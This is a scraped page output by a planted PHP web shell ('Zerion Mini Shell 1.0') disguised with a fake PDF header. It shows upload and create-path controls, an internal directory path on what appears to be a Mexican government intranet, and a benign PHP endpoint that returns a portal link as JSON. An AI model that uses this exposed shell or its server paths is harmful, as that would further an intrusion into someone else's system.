%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/app/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/app/notificaciones.php

<?php
declare(strict_types=1);

// Siempre enviar JSON
header('Content-Type: application/json; charset=utf-8');
// Si necesitas CORS, descomenta:
// header('Access-Control-Allow-Origin: *'); 

// Ejemplo: podrías armar el link con datos recibidos
$id   = $_POST['id']  ?? $_GET['id']  ?? null;
$link = "https://portal.tjamich.gob.mx/" . ($id ? "?id=" . urlencode((string)$id) : "");

$ok = true; // cambia esto según tu lógica (DB, validaciones, etc.)

if ($ok) {
    // Formato pedido: (1, link) => [1, "link"]
    echo json_encode(['ok' => 1, 'link' => $link], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

// Si algo falla:
http_response_code(400);
echo json_encode([0, "Error al procesar la solicitud"], JSON_UNESCAPED_UNICODE);


Zerion Mini Shell 1.0